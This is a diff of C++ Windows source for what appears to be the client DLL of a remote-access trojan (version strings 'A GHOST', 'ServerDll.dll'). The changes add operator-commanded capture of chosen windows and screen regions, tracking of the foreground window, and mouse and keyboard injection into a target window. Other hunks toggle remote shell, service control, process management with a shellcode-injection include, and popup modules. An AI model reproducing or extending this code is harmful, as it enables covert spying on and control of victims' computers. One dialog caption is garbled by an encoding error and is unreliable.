@@ -815,6 +862,49 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
m_ClientObject->StopRunning();
|
||||
break;
|
||||
}
|
||||
case COMMAND_SCREEN_ROI:{
|
||||
if (ulLength > sizeof(RECT)) {
|
||||
memcpy(&m_ROI, szBuffer + 1, sizeof(RECT));
|
||||
Mprintf("[CScreenManager] Set ROI: (%d, %d), (%d, %d)\n", m_ROI.left, m_ROI.top, m_ROI.right, m_ROI.bottom);
|
||||
RestartScreen();
|
||||
}
|
||||
break;
|
||||
}
|
||||
case COMMAND_SCREEN_WINDOW: {
|
||||
// [mode:1][data] — mode=0x00 按标题, mode=0x01 按 HWND(uint64_t), 其余=恢复全屏
|
||||
BYTE mode = (ulLength > 1) ? szBuffer[1] : 0xFF;
|
||||
if (mode == 0x00 && ulLength > 2) {
|
||||
char title[512] = {};
|
||||
int titleLen = ulLength - 2;
|
||||
if (titleLen > (int)sizeof(title) - 1) titleLen = (int)sizeof(title) - 1;
|
||||
memcpy(title, szBuffer + 2, titleLen);
|
||||
m_hTargetWnd = title[0] ? FindWindowA(NULL, title) : NULL;
|
||||
Mprintf("[CScreenManager] 窗口捕获(标题): '%s' -> HWND=%p\n", title, m_hTargetWnd);
|
||||
} else if (mode == 0x01 && ulLength >= 2 + sizeof(uint64_t)) {
|
||||
uint64_t val = 0;
|
||||
memcpy(&val, szBuffer + 2, sizeof(uint64_t));
|
||||
m_hTargetWnd = (HWND)(UINT_PTR)val;
|
||||
Mprintf("[CScreenManager] 窗口捕获(HWND): 0x%llx -> HWND=%p\n", val, m_hTargetWnd);
|
||||
} else {
|
||||
m_hTargetWnd = NULL;
|
||||
m_bDynamicForeground = false;
|
||||
// 防止 RestartScreen→InitScreenSpy 重新读取旧 HWND 再次进入窗口模式
|
||||
if (m_pUserParam && m_pUserParam->length >= 3 + (int)sizeof(uint64_t)) {
|
||||
memset(m_pUserParam->buffer + 3, 0, sizeof(uint64_t));
|
||||
}
|
||||
Mprintf("[CScreenManager] 窗口捕获取消,恢复全屏\n");
|
||||
}
|
||||
RestartScreen();
|
||||
break;
|
||||
}
|
||||
case COMMAND_ENCODE_LEVEL: {
|
||||
int encodeLevel = szBuffer[1];
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetInt("settings", "EncodeLevel", encodeLevel);
|
||||
Mprintf("[CScreenManager] Change Encode Level: %d -> %d\n", m_ScreenSettings.EncodeLevel, encodeLevel);
|
||||
m_ScreenSettings.EncodeLevel = encodeLevel;
|
||||
break;
|
||||
}
|
||||
case COMMAND_SWITCH_SCREEN: {
|
||||
SwitchScreen();
|
||||
break;
|
||||
@@ -2023,9 +2113,13 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
}
|
||||
|
||||
// 窗口捕获模式:只能查看,不能控制
|
||||
if (m_ScreenSpyObject && m_ScreenSpyObject->GetTargetWindow()) {
|
||||
return;
|
||||
// 窗口捕获模式:点击前先将目标窗口置前,确保 SendInput 落到正确的窗口上
|
||||
if (m_ScreenSpyObject) {
|
||||
HWND hwndTarget = m_ScreenSpyObject->GetTargetWindow();
|
||||
if (hwndTarget && IsWindow(hwndTarget) && !IsIconic(hwndTarget)) {
|
||||
if (!SetForegroundWindow(hwndTarget))
|
||||
return; // UIPI 等原因置前失败,不向错误窗口注入输入
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||
@@ -2598,7 +2692,8 @@ DWORD WINAPI CScreenManager::AudioThreadProc(LPVOID lpParam)
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
if (pThis->m_pCaptureClient == nullptr)
|
||||
break;
|
||||
pThis->m_pCaptureClient->ReleaseBuffer(numFramesAvailable);
|
||||
|
||||
hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength);
|
||||
@@ -2629,3 +2724,4 @@ DWORD WINAPI CScreenManager::AudioThreadProc(LPVOID lpParam)
|
||||
Mprintf("音频线程退出\n");
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -10,6 +10,13 @@
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
bool IsWindows8orHigher();
|
||||
|
||||
#if ENABLE_SCREEN==0
|
||||
#define CScreenManager CManager
|
||||
#else
|
||||
|
||||
#include "ScreenSpy.h"
|
||||
#include "ScreenCapture.h"
|
||||
|
||||
@@ -21,8 +28,6 @@ struct IAudioCaptureClient;
|
||||
|
||||
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
|
||||
|
||||
bool IsWindows8orHigher();
|
||||
|
||||
BOOL IsRunningAsSystem();
|
||||
|
||||
class IOCPClient;
|
||||
@@ -58,6 +63,10 @@ public:
|
||||
std::string m_DesktopID;
|
||||
BOOL m_bIsWorking;
|
||||
BOOL m_bIsBlockInput;
|
||||
RECT m_ROI = {0};
|
||||
HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏)
|
||||
bool m_bDynamicForeground = false; // true=每帧自动跟踪前景窗口(HWND sentinel=-1触发)
|
||||
BOOL m_SwitchScreen = TRUE;
|
||||
BOOL SendClientClipboard(BOOL fast);
|
||||
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
||||
|
||||
@@ -84,13 +93,13 @@ public:
|
||||
DWORD s_lastThreadId = 0;
|
||||
|
||||
bool SwitchScreen();
|
||||
bool RestartScreen();
|
||||
bool RestartScreen(BOOL switchScreen = FALSE);
|
||||
void SwitchToNextWindow(); // 切换到下一个窗口(类似 Alt+Tab)
|
||||
virtual BOOL OnReconnect();
|
||||
uint64_t m_nReconnectTime = 0; // 重连开始时间
|
||||
uint64_t m_DlgID = 0;
|
||||
BOOL m_SendFirst = FALSE;
|
||||
|
||||
std::string m_Signature;
|
||||
// 虚拟桌面
|
||||
BOOL m_virtual;
|
||||
POINT m_point;
|
||||
@@ -121,4 +130,6 @@ public:
|
||||
void HandleAudioCtrl(BYTE enable, BYTE persist); // 处理音频控制命令
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
||||
|
||||
@@ -12,11 +12,35 @@
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all) :
|
||||
ScreenCapture(ulbiBitCount, algo, all)
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level,
|
||||
RECT rc, BOOL switchScreen, HWND hwnd, bool dynamicFg) :
|
||||
ScreenCapture(ulbiBitCount, algo, all, level, rc, switchScreen)
|
||||
{
|
||||
m_hTargetWnd = hwnd;
|
||||
m_bDynamicForeground = dynamicFg;
|
||||
m_GOP = gop;
|
||||
|
||||
// 窗口捕获模式:用 DWM 真实边界覆盖基类的全屏尺寸,并缓存阴影偏移量
|
||||
if (hwnd) {
|
||||
RECT wndRc = {}, frameRc = {};
|
||||
GetWindowRect(hwnd, &wndRc);
|
||||
if (SUCCEEDED(DwmGetWindowAttribute(hwnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) {
|
||||
m_ShadowLeft = frameRc.left - wndRc.left;
|
||||
m_ShadowTop = frameRc.top - wndRc.top;
|
||||
} else {
|
||||
frameRc = wndRc;
|
||||
}
|
||||
m_ulFullWidth = frameRc.right - frameRc.left;
|
||||
m_ulFullHeight = frameRc.bottom - frameRc.top;
|
||||
m_CachedWndW = wndRc.right - wndRc.left;
|
||||
m_CachedWndH = wndRc.bottom - wndRc.top;
|
||||
m_iScreenX = frameRc.left; // 窗口左上角在屏幕上的绝对坐标,供 PointConversion 使用
|
||||
m_iScreenY = frameRc.top;
|
||||
m_bZoomed = false;
|
||||
Mprintf("CScreenSpy: 窗口捕获 HWND=%p 尺寸=%dx%d shadow=(%d,%d)\n",
|
||||
hwnd, m_ulFullWidth, m_ulFullHeight, m_ShadowLeft, m_ShadowTop);
|
||||
}
|
||||
|
||||
m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight);
|
||||
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
@@ -72,6 +96,15 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL
|
||||
|
||||
m_bVirtualPaint = vDesk;
|
||||
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
|
||||
// ROI
|
||||
int w = m_ROI.right - m_ROI.left, h = m_ROI.bottom - m_ROI.top;
|
||||
if (w > 0 && h > 0) {
|
||||
m_nScaleSendWidth = m_BitmapInfor_Send->bmiHeader.biWidth;
|
||||
m_nScaleSendHeight = m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth = w;
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight = h;
|
||||
m_BitmapInfor_Send->bmiHeader.biSizeImage = w * h * 4;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -112,9 +145,19 @@ CScreenSpy::~CScreenSpy()
|
||||
|
||||
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
||||
{
|
||||
if (m_hTargetWnd && IsIconic(m_hTargetWnd)) {
|
||||
*ulFirstScreenLength = 0;
|
||||
return nullptr;
|
||||
}
|
||||
ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
|
||||
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
LPBYTE bmp = scaleBitmap(m_BmpZoomBuffer, (LPBYTE)m_BitmapData_Full);
|
||||
memcpy(m_FirstBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
// H264/AV1:不发原始位图,IDR 到达后服务端自行解锁;节省每次切窗口的流量峰值
|
||||
if (m_bAlgorithm == ALGORITHM_H264) {
|
||||
*ulFirstScreenLength = 0;
|
||||
return nullptr;
|
||||
}
|
||||
memcpy(1 + m_RectBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
||||
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
@@ -127,13 +170,18 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
||||
|
||||
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
||||
{
|
||||
if (m_hTargetWnd || m_bDynamicForeground) {
|
||||
if (m_bDynamicForeground && !UpdateDynamicForeground()) return;
|
||||
if (IsIconic(m_hTargetWnd)) return;
|
||||
if (!CheckWindowResize()) return;
|
||||
CaptureWindowContent(hdcDest, hdcSour, ulWidth, ulHeight);
|
||||
return;
|
||||
}
|
||||
if (m_bVirtualPaint) {
|
||||
// 先用深色填充背景,避免窗口移动时留下残影
|
||||
RECT rcFill = { 0, 0, (LONG)ulWidth, (LONG)ulHeight };
|
||||
HBRUSH hBrush = CreateSolidBrush(RGB(30, 30, 30)); // 深灰色背景
|
||||
HBRUSH hBrush = CreateSolidBrush(RGB(30, 30, 30));
|
||||
FillRect(hdcDest, &rcFill, hBrush);
|
||||
DeleteObject(hBrush);
|
||||
|
||||
int n = 0;
|
||||
if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) {
|
||||
Mprintf("EnumWindowsTopToDown failed: %d!!! GetLastError: %d\n", n, GetLastError());
|
||||
@@ -145,18 +193,99 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
|
||||
#if COPY_ALL
|
||||
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, m_iScreenX, m_iScreenY, SRCCOPY);
|
||||
#else
|
||||
const ULONG ulJumpLine = 50;
|
||||
const ULONG ulJumpSleep = ulJumpLine / 10;
|
||||
|
||||
for (int i = 0, ulToJump = 0; i < ulHeight; i += ulToJump) {
|
||||
ULONG ulv1 = ulHeight - i;
|
||||
|
||||
if (ulv1 > ulJumpLine)
|
||||
ulToJump = ulJumpLine;
|
||||
else
|
||||
ulToJump = ulv1;
|
||||
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, SRCCOPY);
|
||||
const ULONG ulJumpLine = 50;
|
||||
const ULONG ulJumpSleep = ulJumpLine / 10;
|
||||
for (int i = 0, ulToJump = 0; i < (int)ulHeight; i += ulToJump) {
|
||||
ULONG ulv1 = ulHeight - i;
|
||||
ulToJump = (ulv1 > ulJumpLine) ? ulJumpLine : ulv1;
|
||||
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour, 0, i, SRCCOPY);
|
||||
Sleep(ulJumpSleep);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
// 每帧跟踪前景窗口;切换时尺寸相同直接复用,尺寸不同触发重建
|
||||
// 返回 false 表示本帧跳过(冻结)
|
||||
bool CScreenSpy::UpdateDynamicForeground()
|
||||
{
|
||||
HWND fg = GetForegroundWindow();
|
||||
if (fg && fg != m_hTargetWnd) {
|
||||
RECT wndRc = {}, frameRc = {};
|
||||
GetWindowRect(fg, &wndRc);
|
||||
frameRc = wndRc;
|
||||
DwmGetWindowAttribute(fg, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc));
|
||||
ULONG newW = (ULONG)(frameRc.right - frameRc.left);
|
||||
ULONG newH = (ULONG)(frameRc.bottom - frameRc.top);
|
||||
if (newW != m_ulFullWidth || newH != m_ulFullHeight) {
|
||||
// 尺寸不同:让 WorkThread 重建,m_NextTargetWnd 传递新 HWND
|
||||
m_NextTargetWnd = fg;
|
||||
m_bNeedRestart = true;
|
||||
return false;
|
||||
}
|
||||
// 尺寸相同:直接切换,更新阴影偏移缓存,无需重建
|
||||
m_ShadowLeft = frameRc.left - wndRc.left;
|
||||
m_ShadowTop = frameRc.top - wndRc.top;
|
||||
m_CachedWndW = wndRc.right - wndRc.left;
|
||||
m_CachedWndH = wndRc.bottom - wndRc.top;
|
||||
m_PendingWndW = m_PendingWndH = 0;
|
||||
m_hTargetWnd = fg;
|
||||
Mprintf("CScreenSpy: 前景切换(同尺寸) -> HWND=%p\n", fg);
|
||||
}
|
||||
return m_hTargetWnd != NULL; // NULL=无前景窗口,冻结上一帧
|
||||
}
|
||||
|
||||
// 检测窗口 resize:GetWindowRect 每帧调用;DWM 查询仅在尺寸稳定 300ms 后触发
|
||||
// 同时更新 m_iScreenX/Y(窗口移动时坐标同步),返回 false 表示本帧跳过
|
||||
bool CScreenSpy::CheckWindowResize()
|
||||
{
|
||||
static const DWORD RESIZE_DEBOUNCE_MS = 300;
|
||||
RECT fullRc = {};
|
||||
GetWindowRect(m_hTargetWnd, &fullRc);
|
||||
m_iScreenX = fullRc.left + m_ShadowLeft;
|
||||
m_iScreenY = fullRc.top + m_ShadowTop;
|
||||
int w = fullRc.right - fullRc.left;
|
||||
int h = fullRc.bottom - fullRc.top;
|
||||
if (w == m_CachedWndW && h == m_CachedWndH)
|
||||
return true;
|
||||
// 尺寸有变化:更新防抖记录
|
||||
if (w != m_PendingWndW || h != m_PendingWndH) {
|
||||
m_PendingWndW = w;
|
||||
m_PendingWndH = h;
|
||||
m_SizeChangeTick = GetTickCount();
|
||||
}
|
||||
if (GetTickCount() - m_SizeChangeTick < RESIZE_DEBOUNCE_MS)
|
||||
return false; // 尚未稳定,冻结等待
|
||||
// 稳定 300ms:查询 DWM 真实帧边界,决定是否重建
|
||||
RECT frameRc = fullRc;
|
||||
if (SUCCEEDED(DwmGetWindowAttribute(m_hTargetWnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) {
|
||||
m_ShadowLeft = frameRc.left - fullRc.left;
|
||||
m_ShadowTop = frameRc.top - fullRc.top;
|
||||
} else {
|
||||
m_ShadowLeft = m_ShadowTop = 0;
|
||||
}
|
||||
if ((ULONG)(frameRc.right - frameRc.left) != m_ulFullWidth ||
|
||||
(ULONG)(frameRc.bottom - frameRc.top) != m_ulFullHeight) {
|
||||
Mprintf("CScreenSpy: 窗口尺寸变化 %dx%d -> %dx%d,触发重建\n",
|
||||
m_ulFullWidth, m_ulFullHeight,
|
||||
frameRc.right - frameRc.left, frameRc.bottom - frameRc.top);
|
||||
m_bNeedRestart = true;
|
||||
return false;
|
||||
}
|
||||
m_CachedWndW = w;
|
||||
m_CachedWndH = h;
|
||||
return true;
|
||||
}
|
||||
|
||||
// 前景模式直接 BitBlt(零闪烁);指定窗口模式用 PrintWindow(处理遮挡)
|
||||
void CScreenSpy::CaptureWindowContent(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
||||
{
|
||||
if (m_bDynamicForeground) {
|
||||
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, m_iScreenX, m_iScreenY, SRCCOPY);
|
||||
} else {
|
||||
HDC hTmp = m_data.GetWindowDC();
|
||||
HBITMAP hOld = (HBITMAP)SelectObject(hTmp, m_data.GetWindowBmp());
|
||||
if (PrintWindow(m_hTargetWnd, hTmp, PW_RENDERFULLCONTENT))
|
||||
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hTmp, m_ShadowLeft, m_ShadowTop, SRCCOPY);
|
||||
SelectObject(hTmp, hOld);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -95,9 +95,25 @@ protected:
|
||||
|
||||
BOOL m_bVirtualPaint;// 是否虚拟绘制
|
||||
EnumHwndsPrintData m_data;
|
||||
HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏)
|
||||
bool m_bDynamicForeground = false; // true=每帧跟踪前景窗口(由 sentinel=-1 触发)
|
||||
int m_ShadowLeft = 0; // DWM 阴影左偏移(frameRc.left - fullRc.left),帧间缓存
|
||||
int m_ShadowTop = 0; // DWM 阴影上偏移(frameRc.top - fullRc.top),帧间缓存
|
||||
int m_CachedWndW = 0; // 上帧 GetWindowRect 宽度,用于检测 resize 无需每帧调 DWM
|
||||
int m_CachedWndH = 0; // 上帧 GetWindowRect 高度
|
||||
int m_PendingWndW = 0; // 防抖:检测到尺寸变化后记录的新宽度
|
||||
int m_PendingWndH = 0; // 防抖:检测到尺寸变化后记录的新高度
|
||||
DWORD m_SizeChangeTick = 0; // 防抖:尺寸上次变化的时间戳(GetTickCount)
|
||||
|
||||
public:
|
||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE);
|
||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE,
|
||||
int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE, HWND hwnd = NULL, bool dynamicFg = false);
|
||||
|
||||
virtual HWND GetTargetWindow() const override { return m_hTargetWnd; }
|
||||
|
||||
// 窗口模式下 m_ulFullWidth/Height 是窗口尺寸,但 SendInput 的 dx/dy 分母必须是屏幕尺寸
|
||||
virtual int GetScreenWidth() const override { return m_hTargetWnd ? GetSystemMetrics(SM_CXSCREEN) : m_ulFullWidth; }
|
||||
virtual int GetScreenHeight() const override { return m_hTargetWnd ? GetSystemMetrics(SM_CYSCREEN) : m_ulFullHeight; }
|
||||
|
||||
virtual ~CScreenSpy();
|
||||
|
||||
@@ -250,6 +266,14 @@ public:
|
||||
m_hDeskTopDC = GetDC(NULL);
|
||||
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
|
||||
}
|
||||
|
||||
private:
|
||||
// 前景跟踪:切换或尺寸变化时更新 m_hTargetWnd,返回 false 表示本帧冻结
|
||||
bool UpdateDynamicForeground();
|
||||
// 防抖 + 重建检测:更新 m_iScreenX/Y,返回 false 表示本帧冻结
|
||||
bool CheckWindowResize();
|
||||
// 执行实际像素拷贝(BitBlt 或 PrintWindow)
|
||||
void CaptureWindowContent(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
//
|
||||
// Generated from the TEXTINCLUDE 2 resource.
|
||||
//
|
||||
#include "afxres.h"
|
||||
#include "winres.h"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
#undef APSTUDIO_READONLY_SYMBOLS
|
||||
@@ -26,7 +26,7 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
||||
|
||||
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
||||
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||
CAPTION "消息提示"
|
||||
CAPTION "娑堟伅鎻愮ず"
|
||||
FONT 10, "System", 0, 0, 0x0
|
||||
BEGIN
|
||||
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
||||
@@ -61,7 +61,7 @@ END
|
||||
|
||||
2 TEXTINCLUDE
|
||||
BEGIN
|
||||
"#include ""afxres.h""\r\n"
|
||||
"#include ""winres.h""\r\n"
|
||||
"\0"
|
||||
END
|
||||
|
||||
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,3,3
|
||||
FILEVERSION 1,0,3,6
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -106,7 +106,7 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.3.3"
|
||||
VALUE "FileVersion", "1.0.3.6"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
|
||||
@@ -6,6 +6,8 @@
|
||||
#include "ServicesManager.h"
|
||||
#include "Common.h"
|
||||
|
||||
#if ENABLE_SERVICE_MNG
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -306,3 +308,4 @@ void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -10,6 +10,9 @@
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#if ENABLE_SERVICE_MNG==0
|
||||
#define CServicesManager CManager
|
||||
#else
|
||||
|
||||
class CServicesManager : public CManager
|
||||
{
|
||||
@@ -22,5 +25,6 @@ public:
|
||||
void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
|
||||
SC_HANDLE m_hscManager;
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)
|
||||
|
||||
@@ -7,6 +7,8 @@
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
|
||||
#if ENABLE_SHELL
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -188,3 +190,4 @@ CShellManager::~CShellManager()
|
||||
Sleep(200); // wait for thread to exit
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -12,6 +12,10 @@
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
#if ENABLE_SHELL==0
|
||||
#define CShellManager CManager
|
||||
#else
|
||||
|
||||
class CShellManager : public CManager
|
||||
{
|
||||
public:
|
||||
@@ -33,5 +37,6 @@ public:
|
||||
HANDLE m_hShellProcessHandle; //保存Cmd进程的进程句柄和主线程句柄
|
||||
HANDLE m_hShellThreadHandle;
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_)
|
||||
|
||||
@@ -12,6 +12,8 @@
|
||||
#define PSAPI_VERSION 1
|
||||
#endif
|
||||
|
||||
#if ENABLE_PROC_WND
|
||||
|
||||
#include <Psapi.h>
|
||||
#include "ShellcodeInj.h"
|
||||
|
||||
@@ -323,3 +325,4 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要
|
||||
*(LPBYTE*)lParam = szBuffer;
|
||||
return TRUE;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -12,6 +12,10 @@
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
#if ENABLE_PROC_WND==0
|
||||
#define CSystemManager CManager
|
||||
#else
|
||||
|
||||
class CSystemManager : public CManager
|
||||
{
|
||||
public:
|
||||
@@ -27,5 +31,6 @@ public:
|
||||
void SendWindowsList();
|
||||
void TestWindow(LPBYTE szBuffer);
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
|
||||
|
||||
@@ -9,6 +9,8 @@
|
||||
#include <IOSTREAM>
|
||||
#include <mmsystem.h>
|
||||
|
||||
#if ENABLE_MESSAGE
|
||||
|
||||
#pragma comment(lib, "WINMM.LIB")
|
||||
|
||||
#define ID_TIMER_POP_WINDOW 1
|
||||
@@ -153,3 +155,4 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //时钟回调
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -11,6 +11,10 @@
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
#if ENABLE_MESSAGE==0
|
||||
#define CTalkManager CManager
|
||||
#else
|
||||
|
||||
class CTalkManager : public CManager
|
||||
{
|
||||
public:
|
||||
@@ -28,5 +32,6 @@ public:
|
||||
char g_Buffer[TALK_DLG_MAXLEN];
|
||||
UINT_PTR g_Event;
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
||||
|
||||